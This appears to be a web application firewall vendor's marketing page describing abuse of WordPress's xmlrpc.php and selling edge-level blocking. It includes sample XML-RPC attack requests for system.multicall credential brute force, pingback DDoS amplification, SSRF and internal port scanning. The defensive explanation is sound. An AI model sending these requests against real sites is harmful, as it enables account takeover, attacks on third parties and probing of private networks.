xmlrpc.php: WordPress's Most Dangerous Legacy Endpoint
WordPress ships with xmlrpc.php enabled by default. Originally designed for remote publishing, pingbacks, and third-party app communication, this endpoint is rarely needed on modern WordPress sites. The REST API has replaced its legitimate uses — but xmlrpc.php remains active and exposed on millions of sites, providing attackers with a powerful entry point that bypasses most WordPress security plugins.
The system.multicall method lets attackers test hundreds of credentials in a single request. The pingback.ping method turns your site into a node in a DDoS botnet. Blocking xmlrpc.php at the server level requires .htaccess edits or plugin configuration that can break during updates. PowerWAF blocks it at the edge — before the request reaches your server.
How Attackers Exploit xmlrpc.php
Five attack vectors through a single WordPress endpoint — all bypassing traditional login protection.
system.multicall Brute Force
Attackers use system.multicall to bundle hundreds of wp.getUsersBlogs authentication attempts into a single HTTP request, bypassing rate limiting entirely.
<methodCall><methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name>
<value>wp.getUsersBlogs</value></member>
<member><name>params</name>
<value><array><data>
<value>admin</value>
<value>password123</value>
</data></array></value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>
DDoS via Pingback
The pingback.ping method turns WordPress sites into unwitting DDoS amplifiers. Attackers send pingback requests to thousands of sites, all targeting a single victim URL.
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value>https://attacker.com/post</value></param>
<param><value>https://victim-site.com/</value></param>
</params>
</methodCall>
SSRF through XML-RPC
The pingback method forces the WordPress server to make HTTP requests to arbitrary URLs, enabling Server-Side Request Forgery to scan internal networks and access internal services.
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value>https://attacker.com/</value></param>
<param><value>http://192.168.1.1:8080/admin</value></param>
</params>
</methodCall>
Credential Brute Force
Direct authentication calls via wp.getUsersBlogs or wp.getUsers bypass wp-login.php entirely, evading CAPTCHA, two-factor, and login lockout plugins.
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>P@ssw0rd!</value></param>
</params>
</methodCall>
Internal Port Scanning
By analyzing response times and error codes from pingback requests, attackers can map internal network services and open ports behind the firewall.
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value>https://attacker.com/</value></param>
<param><value>http://127.0.0.1:3306/</value></param>
</params>
</methodCall>
How PowerWAF Stops xmlrpc.php Abuse
Edge-level protection that eliminates xmlrpc.php as an attack vector — without breaking legitimate functionality.
Complete xmlrpc Blocking
Block all requests to /xmlrpc.php at the edge with a single rule. Requests never reach your WordPress server, eliminating the entire attack surface instantly.
Selective Method Filtering
If your site uses XML-RPC for legitimate purposes, PowerWAF can block only dangerous methods like system.multicall and pingback.ping while allowing safe operations through.
Rate Limiting
Enforce strict rate limits on xmlrpc.php requests to prevent brute force amplification. Even if individual requests slip through, attackers cannot achieve the volume needed for credential stuffing.
Bot Detection
Identify and block automated tools, scripts, and botnets targeting xmlrpc.php. Legitimate users and applications are distinguished from attack traffic using behavioral analysis.
Virtual Patching
Known CVEs targeting WordPress XML-RPC are blocked with virtual patches. Protection is active immediately when new vulnerabilities are disclosed — no WordPress updates required.
Block xmlrpc.php in Three Steps
No .htaccess edits. No plugins to install. No server restarts.
Point DNS
Update your DNS records to route traffic through PowerWAF. Your WordPress server stays exactly as it is.
Enable xmlrpc Protection
Activate the xmlrpc.php blocking rule from your PowerWAF dashboard. Choose full block or selective method filtering.
Monitor & Verify
Watch blocked xmlrpc.php attacks in real time. Review logs to confirm legitimate traffic is unaffected.
Works with any WordPress hosting: shared, VPS, dedicated, or managed WordPress providers.
See PowerWAF in Action
Real-time view of xmlrpc.php attacks being detected and blocked at the edge.
Simulated log showing how PowerWAF blocks xmlrpc.php attacks while allowing legitimate WordPress traffic through.
Proven Protection at Scale
Real-World Scenarios
WordPress Blog Under Brute Force Attack
A popular WordPress blog receives thousands of system.multicall requests per hour, each containing hundreds of password attempts. Login lockout plugins are useless because the attacks bypass wp-login.php entirely. PowerWAF blocks every xmlrpc.php request at the edge, stopping the brute force before it reaches the server.
WordPress Site Used as DDoS Amplifier
An attacker discovers xmlrpc.php is enabled and begins sending pingback requests to flood a third-party victim. The site owner has no idea their server is participating in a DDoS attack. PowerWAF blocks all pingback abuse, preventing the site from being weaponized.
Agency Managing 50+ WordPress Sites
A web agency needs to disable xmlrpc.php across dozens of WordPress installations on different hosts. Editing .htaccess or installing plugins on each site is time-consuming and error-prone. PowerWAF provides centralized xmlrpc.php blocking for all sites from a single dashboard.
Works with any WordPress setup
Frequently Asked Questions
What is xmlrpc.php in WordPress?
Why is xmlrpc.php dangerous?
system.multicall method allows attackers to test hundreds of passwords in a single HTTP request, bypassing rate limiting. The pingback.ping method can be abused for DDoS amplification and SSRF attacks. Because xmlrpc.php bypasses wp-login.php, traditional login protection plugins do not block these attacks.How does PowerWAF block xmlrpc.php attacks?
system.multicall and pingback.ping, or apply rate limiting. No WordPress plugin installation or server configuration changes are needed.Will blocking xmlrpc.php break my WordPress site?
Can attackers brute force passwords through xmlrpc.php?
system.multicall method, an attacker can test hundreds or even thousands of username/password combinations in a single HTTP request. This bypasses most login rate limiting, account lockout plugins, and CAPTCHA protections because they only monitor wp-login.php.What is a pingback DDoS attack?
Do I need to install a WordPress plugin to block xmlrpc.php?
Explore More WAF Protection
PowerWAF covers the full OWASP Top 10. Explore protection for other WordPress attack vectors.
Block xmlrpc.php Attacks Today
No credit card required. No plugins to install. Set up in under 5 minutes.
Limited free plan spots available